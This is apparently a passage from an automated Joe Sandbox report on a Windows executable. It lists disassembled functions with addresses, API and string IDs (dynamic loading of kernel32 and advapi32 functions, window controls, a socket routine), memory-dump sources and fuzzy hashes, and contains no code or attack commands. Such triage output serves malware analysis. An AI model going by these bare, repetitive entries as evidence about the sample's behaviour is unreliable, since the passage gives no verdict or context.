                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$Long
                                                          • String ID: SysTreeView32
                                                          • API String ID: 847901565-1698111956
                                                          • Opcode ID: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
                                                          • Instruction ID: f6136e305039788543e5a7a32ae38dada8ce15420666eaba2f4eda0785516816
                                                          • Opcode Fuzzy Hash: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
                                                          • Instruction Fuzzy Hash: 81417F3264978187E770EF28E444B9AB7A5F784764F644335DAA907A98CF3CD842CF60
                                                          Function 00007FF787C1AB9C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$CreateObjectStock
                                                          • String ID: SysMonthCal32
                                                          • API String ID: 2671490118-1439706946
                                                          • Opcode ID: fd789cdfff50be9b4411109bcad662b9f9b7c83045e67513290be4d4cd92b5f4
                                                          • Instruction ID: b33e26ffabefa1252fb02b86a527ca821f5150f3fcce177114fa2b211868a3a5
                                                          • Opcode Fuzzy Hash: fd789cdfff50be9b4411109bcad662b9f9b7c83045e67513290be4d4cd92b5f4
                                                          • Instruction Fuzzy Hash: BF416D326086C287E370DF15E444B5AB7A5FB88790F504235EAAA43B98DF3DD486CF50
                                                          Function 00007FF787C1B798 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$CreateDestroyObjectStock
                                                          • String ID: msctls_updown32
                                                          • API String ID: 1752125012-2298589950
                                                          • Opcode ID: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
                                                          • Instruction ID: 089be9875c72b5e8a976840fbd9366b1d8d8f0999d6c8bc079df37aa17fb8d2d
                                                          • Opcode Fuzzy Hash: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
                                                          • Instruction Fuzzy Hash: F2310732A58B8596EB20DF15E4803AAB765FBC4B95F608136DB8E03B54CF3CD446CB10
                                                          Function 00007FF787C1A1F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$CreateMoveObjectStock
                                                          • String ID: Listbox
                                                          • API String ID: 3747482310-2633736733
                                                          • Opcode ID: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
                                                          • Instruction ID: 9235e066f69625fc5fc1c1400ef6888826903acf78b3cc8b1e6ee90ac645a51a
                                                          • Opcode Fuzzy Hash: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
                                                          • Instruction Fuzzy Hash: F7313F366197C186D770DF15F444B5AB7A5F7887A0F604235DAA913B98CB3DD482CF10
                                                          Function 00007FF787BF4DF8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ErrorMode$InformationVolume
                                                          • String ID: %lu
                                                          • API String ID: 2507767853-685833217
                                                          • Opcode ID: 672d97fc72a5ca8b35a6a563d603e89b9dfb37273f5f93e5ec3f9e9d545e6ea4
                                                          • Instruction ID: 4e08597b025125b72ce1c1e097d001846e458533c32260fa13a6e9ca70e134d6
                                                          • Opcode Fuzzy Hash: 672d97fc72a5ca8b35a6a563d603e89b9dfb37273f5f93e5ec3f9e9d545e6ea4
                                                          • Instruction Fuzzy Hash: 4C31C432648B8686DB10EF16E48016DB776FB89BD0FA04035EA8E47B65CF3CD556C710
                                                          Function 00007FF787C1B104 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CreateObjectStockWindow
                                                          • String ID: msctls_trackbar32
                                                          • API String ID: 1025951953-1010561917
                                                          • Opcode ID: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
                                                          • Instruction ID: 6477951e83b12eb10326836c5df1660cc533d1a57e2ce466e17a22f09ab85b80
                                                          • Opcode Fuzzy Hash: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
                                                          • Instruction Fuzzy Hash: 3F314A3261868187E760DF15E444B5AB7A5FB88790F604279EBA903B54CF3CD846CF14
                                                          Function 00007FF787BDF5CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Thread$CurrentProcessWindow$AttachChildClassEnumFocusInputMessageNameParentSendTimeoutWindows
                                                          • String ID: %s%d
                                                          • API String ID: 2330185562-1110647743
                                                          • Opcode ID: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
                                                          • Instruction ID: e20d22255f33d716c01be1562c4b96d3d6e95d10f61ee7450531e5191c285511
                                                          • Opcode Fuzzy Hash: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
                                                          • Instruction Fuzzy Hash: 6821983174878296EA14FB15E4842FAAB62FF49BD0FA44031DEAE47755DE2CD106C320
                                                          Function 00007FF787B98782 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
                                                          • String ID: csm
                                                          • API String ID: 2280078643-1018135373
                                                          • Opcode ID: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
                                                          • Instruction ID: 4393b91b4e8022148c4485e1bec4dc872b7693c4a77e84bc2df27447cb489c28
                                                          • Opcode Fuzzy Hash: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
                                                          • Instruction Fuzzy Hash: B621213654464183D630EF11E48426EFBA2F785B64F540226DE9E03795DF3DE887C720
                                                          Function 00007FF787C0AF20 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF787BD2DD1), ref: 00007FF787C0AF37
                                                          • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF787BD2DD1), ref: 00007FF787C0AF4F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                          • API String ID: 2574300362-1816364905
                                                          • Opcode ID: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
                                                          • Instruction ID: 9961b08044c9ffb8b3b73d711c20bb8f78af35ad7281e311f6077fd1f85dc448
                                                          • Opcode Fuzzy Hash: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
                                                          • Instruction Fuzzy Hash: 39F01C61A55B0181EF08EB20E454364A3E8FB08B19FE40435C91E43364EFBCD99AC360
                                                          Function 00007FF787C110C8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: RegDeleteKeyExW$advapi32.dll
                                                          • API String ID: 2574300362-4033151799
                                                          • Opcode ID: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
                                                          • Instruction ID: 0175766dc4920ebfb15928db0b63cdc2b40085fa3b39f4ae9faeb705a8f38ed3
                                                          • Opcode Fuzzy Hash: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
                                                          • Instruction Fuzzy Hash: 15E0ED21E59F0686EF14EB10E415378A3A9FB08B55FA50435C91E47350EF7CD596C360
                                                          Function 00007FF787B76D64 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                          • API String ID: 2574300362-3689287502
                                                          • Opcode ID: 0d692eaeaee984e821757872aa743bf672a5f4ffbc2c7638c6bb6d49df66a179
                                                          • Instruction ID: 6e36f2d94386af4f751525f495ea02ffa25b6d4257504ed289a6992118611f73
                                                          • Opcode Fuzzy Hash: 0d692eaeaee984e821757872aa743bf672a5f4ffbc2c7638c6bb6d49df66a179
                                                          • Instruction Fuzzy Hash: 07E06D21969F0682EF14EF10E45837463E9FB08B48FA40430C90E47350EF7CE9A6C360
                                                          Function 00007FF787B76D1C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                          • API String ID: 2574300362-1355242751
                                                          • Opcode ID: f93d3ff0ce366ab95d7e6c8a1355595afc9dd02f208f5495b2fec8b10b31cda7
                                                          • Instruction ID: 650ca9b1c729cbe391009f542eeee540fc6e8a1d23eb6211a58fd88cbac894ea
                                                          • Opcode Fuzzy Hash: f93d3ff0ce366ab95d7e6c8a1355595afc9dd02f208f5495b2fec8b10b31cda7
                                                          • Instruction Fuzzy Hash: 6EE09221969B0682EF05EB10E4443B463E5FB08B48FE40430C90E47368EF7CD5A6C320
                                                          Function 00007FF787C07634 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: GetModuleHandleExW$kernel32.dll
                                                          • API String ID: 2574300362-199464113
                                                          • Opcode ID: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
                                                          • Instruction ID: 7207e23e1c5a7ce9603a76ba2235ececae33c425dbc2c76a48fe401636b18998
                                                          • Opcode Fuzzy Hash: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
                                                          • Instruction Fuzzy Hash: CFE0ED25A59B0681EF18EB14E81437863E8FB18B59FE80435D91E47354EF7CD59AC360
                                                          Function 00007FF787BE32F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: GetNativeSystemInfo$kernel32.dll
                                                          • API String ID: 2574300362-192647395
                                                          • Opcode ID: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
                                                          • Instruction ID: e4e065910671b6a08596b0099d7f0304a8fc5854085c0694749c5f280834984e
                                                          • Opcode Fuzzy Hash: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
                                                          • Instruction Fuzzy Hash: 04E01272959B0281EF14EB20E45437463E5FB08B59FE40435C91E47354EFBCD596C360
                                                          Function 00007FF787BDB7E4 Relevance: 6.3, APIs: 4, Instructions: 299COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
                                                          • Instruction ID: 890b9bd8cb72e821aa6741ff75b1dad28c506e9a6b3566d8210fe0a54a31094b
                                                          • Opcode Fuzzy Hash: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
                                                          • Instruction Fuzzy Hash: 1AD14876B04B9586EB14DF26C4942AD7BB2FB88F88B614426DF4E47B58CF39D841C324
                                                          Function 00007FF787C1D88C Relevance: 6.1, APIs: 4, Instructions: 134windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$ClientMessageMoveRectScreenSend
                                                          • String ID:
                                                          • API String ID: 1249313431-0
                                                          • Opcode ID: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
                                                          • Instruction ID: f5840950e03b4e689f6214a67ab5cc60bd175ec1525f439bcdbc1564bda18b9e
                                                          • Opcode Fuzzy Hash: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
                                                          • Instruction Fuzzy Hash: B351B736A48A428AEB50EF25D4805BD7769F744B98FA14136DE2E53784DF3DE883C720
                                                          Function 00007FF787C043C8 Relevance: 6.1, APIs: 4, Instructions: 126networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$socket
                                                          • String ID:
                                                          • API String ID: 1881357543-0
                                                          • Opcode ID: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
                                                          • Instruction ID: 40f82fb64350ee90d333454337df07e13756c207d6ee418b3f2658247bc16826
                                                          • Opcode Fuzzy Hash: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
                                                          • Instruction Fuzzy Hash: 9D419F3175868286DB14EF66E44066AAB91BF85FE0FA44538DE1F1BB96CF3CD102C760
                                                          Function 00007FF787C1F014 Relevance: 6.1, APIs: 4, Instructions: 107windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Rect$BeepClientMessageScreenWindow
                                                          • String ID:
                                                          • API String ID: 1352109105-0
                                                          • Opcode ID: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
                                                          • Instruction ID: 27b751be10ca1ae64e19c8728144bab911dcaaa3e8709ff8b0e3d490f40267b6
                                                          • Opcode Fuzzy Hash: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
                                                          • Instruction Fuzzy Hash: 28417032A49A4685EB50EF19D884679B7A8BB84B94FB64135CA5E433A0DF78E443C320
                                                          Function 00007FF787C1AA04 Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
